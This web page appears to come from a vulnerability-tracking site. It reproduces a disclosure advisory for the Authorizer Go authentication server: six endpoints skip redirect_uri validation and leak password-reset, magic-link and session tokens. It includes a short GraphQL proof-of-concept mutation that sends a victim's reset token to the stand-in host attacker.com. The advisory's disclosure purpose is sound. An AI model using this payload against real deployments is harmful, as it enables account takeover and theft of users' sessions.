Skip to content
Noroxi
OSV ecosystem advisory

GHSA-x3f4-v83f-7wp2: Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri

High—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No special conditions are required; it is repeatable.
  • Fixed version: github.com/authorizerdev/authorizer (Go) 0.0.0-20260329085140-6d9bef1aaba3.

Low priority for now. Upgrade to github.com/authorizerdev/authorizer (Go) 0.0.0-20260329085140-6d9bef1aaba3 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

Hi, I found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa). ## Affected Endpoints 1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens 2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens 3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens 4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens 5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state 6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh) ## Root Cause Because these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `["https://my-secure-app.com"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations. In `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation: if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" { redirectURI = refs.StringValue(params.RedirectURI) } The reset token is appended to this URL at `internal/utils/common.go:77`: func GetForgotPasswordURL(token, redirectURI string) string { verificationURL := redirectURI + "?token=" + token return verificationURL } Compare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { c.JSON(400, gin.H{"error": "invalid redirect url"}) return } This validation is missing from all 6 endpoints listed above. ## Most Severe Path: Full Token Theft via verify_email After a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL: params := "access_token=" + authToken.AccessToken.Token + "&token_type=bearer&expires_in=" + ... + "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly. Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header. ## PoC mutation { forgot_password(params: { email: "victim@example.com" redirect_uri: "https://attacker.com/steal" }) { message } } The victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker. ## Impact - Account takeover via stolen password reset tokens - Full session theft via stolen access_token + id_token + refresh_token - Passwordless account compromise via stolen magic link tokens - No authentication required to trigger (the GraphQL mutations are public) - Victim only needs to click the email link from their trusted Authorizer instance ## Additional Note The default `AllowedOrigins` at `cmd/root.go:39` is `["*"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration. Koda Reef

Published
Apr 6, 2026
Updated
Jun 25, 2026
EPSS
—

Report tools

JSON

Action score

0

Monitor

Low priority for now.

CVSS
0 / 40 · —
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-x3f4-v83f-7wp2

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
Gogithub.com/authorizerdev/authorizer

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Gogithub.com/authorizerdev/authorizerbefore 0.0.0-20260329085140-6d9bef1aaba30.0.0-20260329085140-6d9bef1aaba3

Same product

Go: all records

Other highest-scoring records for the same primary product.

  • GHSA-jfwg-rxf3-p7r9Authorizer: CQL/N1QL Injection in Cassandra and Couchbase Backends via fmt.Sprintf String Interpolation
    29Monitor
  • GO-2026-5737Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri in github.com/authorizerdev/authorizer
    0Monitor
  • GO-2026-5467Authorizer: CQL/N1QL Injection in Cassandra and Couchbase Backends via fmt.Sprintf String Interpolation in…
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Go:github.com/authorizerdev/authorizer0.0.0-20260329085140-6d9bef1aaba3Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
Integrity
Availability
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
A

CVSS vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

osv

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

ATT&CK techniques

—

References

All records